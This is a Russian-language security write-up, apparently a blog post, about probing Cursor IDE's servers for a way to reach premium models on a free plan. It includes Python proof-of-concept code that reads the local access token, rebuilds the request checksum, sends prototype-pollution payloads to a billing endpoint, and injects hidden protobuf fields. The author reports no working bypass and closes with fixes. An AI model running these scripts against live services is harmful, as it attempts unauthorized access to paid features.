Disclaimer: исследование проводилось исключительно в образовательных целях. Все найденные уязвимости были задокументированы. Никакие данные третьих лиц не были скомпрометированы. Автор не несёт ответственности за использование описанных техник.
Вступление
Cursor — AI-powered IDE на базе VS Code, которая обрабатывает миллионы строк кода разработчиков через свои серверы. Когда я задумался о безопасности этого продукта, возник вопрос: насколько надёжна серверная модель авторизации, которая стоит между бесплатным пользователем и Claude 4 Opus?
Спойлер: серьёзного bypass я не нашёл — Cursor реально неплохо защищён. Но по пути я обнаружил 4 уязвимости класса CVE, полностью реверс-инжинирнул API-surface, извлёк protobuf-схемы из 1.1M строк минифицированного JS и нашёл скрытый dev-бэкдор в production-серверах.
Вот что получилось.
Содержание
1. Разведка: декомпиляция клиента
Cursor основан на VS Code (Electron). Весь клиентский код лежит в:
resources/app/out/vs/workbench/workbench.desktop.main.js
1,144,696 строк минифицированного JavaScript. Этот файл — золотая жила: тут все protobuf-определения, URL-ы API, OAuth-флоу, Statsig feature gates и логика маршрутизации моделей.
Извлечение protobuf-схем
Cursor использует Connect-RPC (https://connectrpc.com/) — современный RPC-фреймворк поверх HTTP/2. Все сервисы определены прямо в JS-бандле:
// Найдено через grep "typeName.*agent.v1" var $hl = { typeName: "agent.v1.AgentService", methods: { run: { name: "Run", I: ndi, // AgentRunRequest O: CPt, // AgentRunResponse (streaming) kind: vn.ServerStreaming }, // ... } };
Для извлечения полей использовал цепочку grep → sed → ручной анализ:
grep -n "typeName.*agent.v1.AgentRunRequest" workbench.desktop.main.js # -> 448073: C(ndi, "typeName", "agent.v1.AgentRunRequest"), C(ndi, "fields"... sed -n '448073,448200p' workbench.desktop.main.js
Результат — полная proto-схема AgentRunRequest:
// Восстановленная схема (17 клиентских полей) message AgentRunRequest { ConversationState conversation_state = 1; Action action = 2; ModelDetails model_details = 3; // ← модель для plan check McpTools mcp_tools = 4; string conversation_id = 5; McpFileSystemOptions mcp_file_system_options = 6; SkillOptions skill_options = 7; string custom_system_prompt = 8; RequestedModel requested_model = 9; // ← модель для routing bool suggest_next_prompt = 10; string subagent_type_name = 11; bool exclude_workspace_context = 12; string harness = 13; repeated RequestedModel selected_subagent_models = 14; repeated ModelDetails selected_subagent_model_details = 15; string conversation_group_id = 16; repeated PreFetchedBlobs pre_fetched_blobs = 17; // string dev_raw_model_slug = 18; // ← СЕРВЕРНОЕ ПОЛЕ, нет в клиенте! }
Ключевая находка: поле 18 (devRawModelSlug) отсутствует в клиентском коде, но сервер его принимает и обрабатывает. Об этом ниже.
Извлечение токенов
Cursor хранит аутентификацию в SQLite:
import sqlite3 VSCDB = "~/.config/Cursor/User/globalStorage/state.vscdb" con = sqlite3.connect(VSCDB) row = con.execute( "SELECT value FROM ItemTable WHERE key='cursorAuth/accessToken'" ).fetchone() TOKEN = row[0].strip('"')
JWT-токен содержит стандартные claims:
{ "sub": "auth0|...", "iss": "https://prod.authentication.cursor.sh/", "aud": "https://cursor.com", "iat": 1751457906, "exp": 1752062706, "scope": "openid profile email offline_access", "azp": "KbZUR41cY7W6zRSdpSUJ7I7mLYBKOCmB" }
Заметьте: никаких claims о подписке или плане. Проверка подписки происходит полностью на сервере.
2. Архитектура
Стек
Client (Electron) ↓ HTTP/2 + Connect-RPC API Gateway (api2.cursor.sh, api5.cursor.sh) ↓ Agent Service (model routing, plan check) ↓ LLM providers (OpenAI, Anthropic, Google)
Протокол: Connect-RPC
Connect-RPC фреймирует protobuf в HTTP/2:
[1 byte flags][4 bytes length][protobuf payload]
flags=0x00: data frame
flags=0x02: trailer frame (JSON с ошибками/метаданными)
Пример фрейминга:
import struct # Создание Connect-RPC сообщения def frame(proto_bytes): return struct.pack('>BI', 0, len(proto_bytes)) + proto_bytes + \ struct.pack('>BI', 2, 0) # пустой trailer
Checksum-алгоритм
Cursor использует кастомный checksum для валидации запросов:
def cursor_checksum(machine_id, mac_machine_id): S = int(time.time() * 1000) // 1_000_000 x = bytearray([ (S >> 40) & 0xFF, (S >> 32) & 0xFF, (S >> 24) & 0xFF, (S >> 16) & 0xFF, (S >> 8) & 0xFF, S & 0xFF ]) e = 165 # seed for t in range(len(x)): x[t] = ((x[t] ^ e) + t % 256) & 0xFF e = x[t] encoded = base64.urlsafe_b64encode(bytes(x)).rstrip(b'=') return encoded.decode() + machine_id + '/' + mac_machine_id
Алгоритм реверснут из workbench.desktop.main.js. Timestamp-based, детерминированный — воспроизводится тривиально.
Список серверов
https://api2.cursor.sh — основной API https://agent.api5.cursor.sh — agent-специфичный https://agentn.api5.cursor.sh — agent (новый?) https://agent-gcpp-uswest.api5.cursor.sh https://agentn-gcpp-eucentral.api5.cursor.sh https://agentn-gcpp-apsoutheast.api5.cursor.sh https://repo42.cursor.sh — репозиторий?
3. Полная карта API-surface
gRPC-сервисы (Connect-RPC)
Сервис |
Метод |
Тип |
|---|---|---|
|
|
ServerStreaming |
|
|
Unary |
|
|
Unary |
|
|
Unary |
|
|
Unary |
|
|
Unary |
|
|
Unary |
|
|
ServerStreaming |
|
|
Unary |
REST-эндпоинты
Путь |
Метод |
Описание |
|---|---|---|
|
GET |
Профиль подписки |
|
POST |
Активация подписки |
|
GET |
Информация о пользователе |
Statsig Feature Gates (извлечено 40+)
cc_override_agent_backend — выбор agent backend user_is_professional — проверка pro-статуса explicit_subagent_models — явные модели для subagent enable_ide_enterprise_plan_usage use_model_parameters agent_review_fake_dev
4. CVE-1: Prototype Pollution (CWE-1321)
Severity: Medium (DoS, потенциальная эскалация) Endpoint: POST /auth/start-subscription-now Impact: Server crash (HTTP 500), изменение пути обработки
Описание
JSON-эндпоинты Cursor парсят тело запроса без санитизации __proto__. При отправке payload с __proto__ сервер возвращает 500 Internal Server Error вместо ожидаемого 400 Cannot upgrade free user.
PoC
import httpx, json payload = { "tier": "pro", "__proto__": { "membershipType": "pro", "hasActiveSubscription": True } } r = httpx.post( "https://api2.cursor.sh/auth/start-subscription-now", content=json.dumps(payload).encode(), headers={ "authorization": "Bearer <token>", "content-type": "application/json" } ) print(r.status_code, r.text)
Результаты тестирования
Payload |
Ожидаемый ответ |
Фактический ответ |
|---|---|---|
|
400 “Cannot upgrade free user” |
400 ✓ |
|
400 |
500 “Error” ✗ |
|
400 |
500 “Error” ✗ |
|
400 |
500 “Error” ✗ |
Все 10 вариаций с __proto__ вызывают 500 вместо 400. Это подтверждает, что объект prototype chain загрязняется до момента проверки подписки, вызывая необработанное исключение.
Аналогичное поведение на ActivatePromotion:
# Нормальный ответ: "Unknown promo type id" payload = {"promoTypeId": "test"} # С __proto__: "invalid_argument" (ДРУГАЯ ошибка!) payload = {"promoTypeId": "test", "__proto__": {"isValid": True}}
Эндпоинт ActivatePromotion с __proto__ возвращает invalid_argument вместо Unknown promo type id — pollution меняет путь валидации.
Импакт
DoS: любой аутентифицированный пользователь может вызвать 500-ку на billing endpoints
Потенциальная эскалация: если pollution проникает в shared state (маловероятно в production, но зависит от архитектуры)
5. CVE-2: devRawModelSlug — скрытый бэкдор (CWE-489)
Severity: Medium (Active Debug Code in Production) Field: AgentRunRequest.dev_raw_model_slug (proto field 18) Impact: Наличие dev-механизма прямого bypass model routing в production
Обнаружение
При систематическом сканировании всех proto-полей (1-50) на AgentRunRequest:
for field_num in range(1, 51): extra = proto_field(field_num, wire_type=2, value="pro") body = build_agent_request("gpt-4o", extra_fields=extra) response = send(body) if "Free plans" not in response: print(f"!!! field {field_num}: {response}")
Поля 6, 7, 8, 10-17 → parse error или plan_block (ожидаемо). Поле 18 → уникальный ответ:
devRawModelSlug is not available
Анализ
Поле 18 отсутствует в клиентском коде — grep по 1.1M строк не находит
devRawModelSlugв proto-определениях клиентаСервер его парсит и валидирует — возвращает специфическое сообщение об ошибке, а не generic parse error
Проверка происходит ДО plan check — при
f3=default(проходит free check) +f18=gpt-4o→ ошибка devRawModelSlug, а не plan_blockОдинаково на ВСЕХ серверах:
api2.cursor.sh → "devRawModelSlug is not available" agent.api5.cursor.sh → "devRawModelSlug is not available" agentn.api5.cursor.sh → "devRawModelSlug is not available" agent-gcpp-uswest.api5.cursor.sh → "devRawModelSlug is not available" agentn-gcpp-eucentral.api5.cursor.sh → "devRawModelSlug is not available" agentn-gcpp-apsoutheast.api5.cursor.sh → "devRawModelSlug is not available"
PoC
import struct def varint(v): r = bytearray() while v > 0x7f: r.append((v & 0x7f) | 0x80) v >>= 7 r.append(v & 0x7f) return bytes(r) def proto_field(num, wire_type, value): tag = varint((num << 3) | wire_type) if wire_type == 2: # length-delimited data = value.encode() if isinstance(value, str) else value return tag + varint(len(data)) + data return b'' # Поле 18 = devRawModelSlug с именем premium-модели field_18 = proto_field(18, 2, "gpt-4o") # Стандартные поля AgentRunRequest model_details = proto_field(1, 2, "default") # field 3: проходит plan check run_request = ( proto_field(1, 2, b'') + # conversation_state proto_field(2, 2, action_bytes) + # action proto_field(3, 2, model_details) + # model_details = "default" proto_field(5, 2, conv_id) + # conversation_id proto_field(9, 2, requested_model) + # requested_model proto_field(16, 2, group_id) + # conversation_group_id field_18 # devRawModelSlug = "gpt-4o" ) # Connect-RPC framing body = struct.pack('>BI', 0, len(outer)) + outer + struct.pack('>BI', 2, 0)
Почему это CWE-489
devRawModelSlug — это механизм для разработчиков, позволяющий напрямую указать backend-модель, минуя стандартную маршрутизацию. В production он отключён, но:
Код обработки присутствует в production-бинарнике
Сервер парсит и валидирует это поле (не игнорирует)
Ошибка выдаёт имя поля, раскрывая внутреннюю архитектуру
Если флаг отключения будет снят (ошибка конфигурации, feature flag), поле мгновенно станет рабочим
6. CVE-3: Internal Service Header Leak (CWE-200)
Endpoint: GET /agent.v1.AgentService/GetAllowedModelIntents Impact: раскрытие архитектуры внутреннего service mesh
Описание
Метод GetAllowedModelIntents обнаружен в клиентском JS:
getAllowedModelIntents: { name: "GetAllowedModelIntents", I: QCm, // request type O: XCm, // response type kind: vn.Unary }
При вызове с обычным Bearer-токеном:
HTTP 401: "Invalid internal service header"
Анализ
Ответ "Invalid internal service header" вместо generic 401 Unauthorized или 404 Not Found раскрывает:
Эндпоинт существует и обрабатывается (не 404)
Используется service-to-service аутентификация (внутренний заголовок)
Есть отдельный механизм авторизации для внутренних сервисов
Брутфорс заголовков (25+ комбинаций) не дал результата — внутренний токен не является производным от пользовательского.
7. CVE-4: Protobuf Field Injection & Wire Type Confusion
7.1 Дублирование field 3 (Double Field Injection)
Protobuf позволяет отправить одно и то же поле дважды. По спецификации, для singular-полей последнее значение побеждает. Но что если plan check и routing читают разные значения?
# Два поля field 3: сначала opus, потом default md_opus = proto_field(1, 2, "claude-4-opus") md_default = proto_field(1, 2, "default") run_request = ( proto_field(3, 2, md_opus) + # первый model_details proto_field(3, 2, md_default) + # второй model_details # ... )
Результат: сервер корректно берёт последнее значение для обоих проверок. Bypass не работает, но сервер не отклоняет дублированное поле — это нарушение принципа strict parsing.
7.2 Wire Type Confusion
Отправка model_id (обычно string, wire type 2) как varint (wire type 0):
# Нормально: field 1, wire type 2 (string), value "default" normal = b'\x0a\x07default' # Атака: field 1, wire type 0 (varint), value 0 confused = b'\x08\x00' # (1 << 3) | 0 = 0x08, varint 0
Результат: parse binary: illegal tag — сервер отклоняет. Парсер достаточно строгий.
7.3 Subagent Field Injection
Поля 14 (selected_subagent_models) и 15 (selected_subagent_model_details) принимают premium-модели без plan check:
run_request = ( proto_field(3, 2, model_details("default")) + # plan check ✓ proto_field(14, 2, requested_model("gpt-4o")) + # no plan check! proto_field(15, 2, model_details("gpt-4o")) + # no plan check! )
Запрос проходит и стримится. Однако, при анализе ответа — модель-ответчик идентична обычному запросу с “default” (Codex 5.3). Поля 14/15 игнорируются при routing, но не валидируются — это увеличивает attack surface при будущих изменениях.
8. Что ещё было протестировано (без результата)
Для полноты картины — полный список проверенных векторов:
Вектор |
Результат |
Почему не работает |
|---|---|---|
Model name bruteforce (42 модели) |
Plan blocked |
Серверная проверка по имени |
|
Blocked |
Одна и та же проверка |
JWT claim manipulation |
N/A |
Claims не содержат план; проверка из БД |
OAuth callback injection |
Blocked |
WorkOS nonce validation |
Stripe webhook replay |
500 |
Signature verification |
|
400 |
Требует активную подписку |
Content-Type confusion (gRPC vs Connect) |
415/500 |
Строгая проверка Content-Type |
Internal service header brute force |
401 |
Токен не derivable |
Host header override |
404 |
Load balancer routing |
|
Rejected |
“unknown option --system-prompt” |
|
Plan blocked |
Не влияют на plan check |
Integer overflow в billing |
404 |
Endpoints не существуют |
gRPC Server Reflection |
404 |
Отключено |
Feature flag headers |
No effect |
Серверные gates не управляются клиентом |
Race condition на subscription |
N/A |
Атомарная проверка |
9. Что Cursor делает правильно
Нужно отдать должное — по результатам аудита, Cursor демонстрирует зрелую security-модель:
Plan check полностью серверный — никаких claims в JWT о подписке. Проверка идёт из базы данных на каждый запрос.
Строгий protobuf parsing — wire type confusion отклоняется; неизвестные поля не влияют на routing.
Stripe webhook signature — webhook-эндпоинт требует валидную Stripe-подпись, replay невозможен.
OAuth nonce validation — WorkOS callback проверяет nonce, injection невозможен.
Единая проверка модели —
model_detailsиrequested_modelпроходят одну и ту же проверку, дублирование поля берёт последнее значение корректно.Connect-RPC вместо raw gRPC — упрощает auditing и мониторинг, грамотный выбор.
10. Выводы и рекомендации
Найденные уязвимости
ID |
Тип |
CWE |
Severity |
Описание |
|---|---|---|---|---|
CURSOR-2025-001 |
Prototype Pollution |
CWE-1321 |
Medium |
|
CURSOR-2025-002 |
Active Debug Code |
CWE-489 |
Medium |
|
CURSOR-2025-003 |
Info Disclosure |
CWE-200 |
Low |
|
CURSOR-2025-004 |
Improper Input Validation |
CWE-20 |
Low |
Subagent fields не валидируются |
Рекомендации для Cursor
Санитизировать
__proto__иconstructorв JSON-парсинге. ИспользоватьObject.create(null)или библиотеку типаsecure-json-parse.Удалить
devRawModelSlugиз production proto-схемы или как минимум не возвращать имя поля в ошибке.Унифицировать ошибки авторизации —
GetAllowedModelIntentsдолжен возвращать generic 404 вместо “Invalid internal service header”.Валидировать все proto-поля — отклонять запросы с неожиданными полями в
selected_subagent_models/selected_subagent_model_details.
Инструментарий
Весь research проведён с помощью:
Python 3 +
httpx(HTTP/2 клиент)Ручная сериализация protobuf (без .proto файлов)
grep/sedдля анализа минифицированного JSSQLite3 для извлечения токенов
Итог
Cursor — один из наиболее security-aware AI-продуктов, которые я исследовал. Plan check полностью серверный, JWT не содержит привилегий, protobuf parsing строгий. Тем не менее, prototype pollution и наличие dev-бэкдора в production — это реальные issues, которые стоит исправить.
Если вы делаете SaaS с серверной авторизацией — вот чеклист из этого исследования:
✅ Не храните привилегии в JWT
✅ Проверяйте план из БД на каждый запрос
✅ Используйте строгий proto parsing
❌ Не оставляйте dev-поля в production proto
❌ Не раскрывайте внутренние имена через ошибки
❌ Санитизируйте
__proto__в JSON
ComputerPers
После прочтения, у меня сложилось мнение что на любой невалидный запрос надо отдавать 500 ошибку. Да это неудобно для диагностики, но зато мамкины хакеры голову расшибут.